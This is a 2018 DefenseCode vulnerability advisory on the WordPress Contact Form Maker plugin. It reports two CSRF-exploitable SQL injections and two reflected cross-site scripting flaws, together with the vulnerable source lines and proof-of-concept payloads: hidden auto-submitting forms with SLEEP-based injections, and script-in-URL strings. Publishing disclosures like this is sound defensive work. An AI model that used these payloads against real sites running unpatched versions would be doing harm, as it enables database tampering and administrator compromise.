DefenseCode

DefenseCode ThunderScan SAST Advisory

WordPress Contact Form Maker Plugin

Multiple Security Vulnerabilities

DefenseCode ThunderScan SAST Advisory: WordPress Contact Form Maker Plugin Multiple Security Vulnerabilities	
Advisory ID:	**DC-2018-05-004**
Software:	**WordPress Contact Form Maker plugin**
Software Language:	**PHP**
Version:	**1.12.20 and below**
Vendor Status:	**Vendor contacted, update released**
Release Date:	**2018/06/07**
Risk:	**High**

1. General Overview

During the security audit of Contact Form Maker plugin for WordPress CMS, multiple vulnerabilities were discovered using DefenseCode ThunderScan application source code security analysis platform.

More information about ThunderScan is available at URL:
http://www.defensecode.com

2. Software Overview

According to the plugin developers, Contact Form Maker is a simple form creator plugin, which allows the user with no knowledge of programming to create and edit different type of responsive website forms. The product is similar to the WordPress Form Maker using most of its functionality, whereas there are also some differences.

According to wordpress.org, it has more than 60 000 active installs. According to the developer's website, it was downloaded over million times. The exact number of "premium" version installs remains to be determined.

Homepage:
https://wordpress.org/plugins/contact-form-maker/
https://web-dorado.com/products/wordpress-contact-form-builder.html

3. Vulnerability Description

During the security analysis, ThunderScan discovered SQL injection and Cross-Site Scripting vulnerabilities in Contact Form Maker WordPress plugin. The SQL injection points are susceptible to Cross Site Request Forgery (CSRF).

The easiest way to reproduce the SQL injection vulnerabilities is to open the presented HTML/JavaScript snippet in your browser while being logged in as administrator or another user that is authorized to access the plugin settings page. Users that do not have full administrative privileges could abuse the database access the vulnerabilities provide to either escalate their privileges or obtain and modify database contents they were not supposed to be able to. Since the injection points are also susceptible to CSRF (due to the improper checking of the nonce token), a valid attack vector is also to send a link to the administrator that leads to any attacker controlled web page containing such or similar code snippet.

The Cross-Site Scripting vulnerabilities can enable the attacker to construct the URL that contains malicious JavaScript code. If the administrator of the site makes a request to such an URL, the attacker's code will be executed, with unrestricted access to the WordPress site in question. The attacker can entice the administrator to visit the URL in various ways, including sending the URL by email, posting it as a part of the comment on the vulnerable site or another forum.

3.1 SQL injection	
Vulnerable Function:	**get_results()**
Vulnerable Variable:	**$_POST['name']**

Vulnerable URL:

```
http://vulnerablesite.com/wp-admin/admin-
ajax.php?action=FormMakerSQLMapping_fmc&task=db_table_struct
```

File: contact-form-maker/admin/models/FMSqlMapping.php

```
$name = isset($_POST['name']) ? $_POST['name'] : NULL;
...
$query = "SHOW COLUMNS FROM " . $name;
...
$table_struct = $wpdb_temp->get_results($query);
```

Proof of Concept:

```
<iframe style="display:none" name="invisible"></iframe>
<form id="form" method="POST" action="http://vulnerablesite.com/wp-admin/admin-
ajax.php?action=FormMakerSQLMapping_fmc&task=db_table_struct" target="invisible">
        <input type="hidden" name="name" value="wp_users WHERE 42=42 AND SLEEP(42)--;"/>
</form>
<script>
        document.getElementById("form").submit();
        sleep(3000);
</script>
```

3.2 SQL injection

Vulnerable Function:	**get_col()**
Vulnerable Variable:	**$_REQUEST['search_labels']**

Vulnerable URL:

```
http://vulnerablesite.com/wp-admin/admin-ajax.php?form_id=1&send_header=0&action=generete_csv_fmc&limitstart=0
```

File: contact-form-maker/framework/WDW_FM_Library.php

```
3951 $search_labels = isset($_REQUEST['search_labels']) ? $_REQUEST['search_labels'] : '';
...
3984 $query = $wpdb->prepare("SELECT distinct group_id FROM " . $wpdb->prefix .
"formmaker_submits where form_id=%d and group_id IN(" . $search_labels . ")", $form_id);
3985 $group_id_s = $wpdb->get_col($query);
```

Proof of Concept:

```
<iframe style="display:none" name="invisible"></iframe>
<form id="form" method="POST" action="http://vulnerablesite.com/wp-admin/admin-
ajax.php?form_id=1&send_header=0&action=generete_csv_fmc&limitstart=0" target="invisible">
        <input type="hidden" name="search_labels" value="(SELECT * FROM
(SELECT(SLEEP(42)))XXX)"/>
</form>
<script>
        document.getElementById("form").submit();
        sleep(3000);
</script>
```

3.3 Cross-Site Scripting

Vulnerable Function:	**echo()**
Vulnerable Variable:	**$_REQUEST["active_tab"]**

Vulnerable URL:

```
http://vulnerablesite.com/wp-admin/admin.php?page=themes_fmc&task=edit&active_tab="><script>alert(42)</script>
```

File: form-maker/admin/views/Themes_fm.php

```
192 $active_tab = isset($_REQUEST["active_tab"]) && $_REQUEST["active_tab"] ?
$_REQUEST["active_tab"] : ($row->version == 1 ? 'custom_css' : 'global');
...
199 <input type="hidden" name="active_tab" id="active_tab" value="<?php echo $active_tab;
?>" />
```

3.4 Cross-Site Scripting

Vulnerable Function:	**echo()**
Vulnerable Variable:	**$_REQUEST["pagination"]**

Vulnerable URL:

```
http://vulnerablesite.com/wp-admin/admin.php?page=themes_fmc&task=edit&pagination="><script>alert(42)</script>
```

File: form-maker/admin/views/Themes_fm.php

```
193 $pagination = isset($_REQUEST["pagination"]) ? $_REQUEST["pagination"] : 'none';
...
308 <div class="pagination-type" ng-init="pagination='<?php echo $pagination; ?>'">
```

4. Solution

After the vulnerabilities were reported the vendor resolved the security issues. All users are strongly advised to update WordPress Form Maker plugin to the latest available version.

5. Credits

Discovered by Neven Biruski using DefenseCode ThunderScan source code security analyzer.

6. Disclosure Timeline

2018/05/18	**Vulnerabilities discovered**
2018/05/21	**Vendor contacted**
2018/06/07	**Advisory released to the public**

7. About DefenseCode

DefenseCode L.L.C. delivers products and services designed to analyze and test web, desktop and mobile applications for security vulnerabilities.

DefenseCode ThunderScan is a SAST (Static Application Security Testing, WhiteBox Testing) solution for performing extensive security audits of application source code. ThunderScan performs fast and accurate analyses of large and complex source code projects delivering precise results and low false positive rate.

DefenseCode WebScanner is a DAST (Dynamic Application Security Testing, BlackBox Testing) solution for comprehensive security audits of active web applications. WebScanner will test a website's security by carrying out a large number of attacks using the most advanced techniques, just as a real attacker would.

Subscribe for free software trial on our website http://www.defensecode.com

E-mail: defensecode[at]defensecode.com

Website: http://www.defensecode.com
Twitter: https://twitter.com/DefenseCode/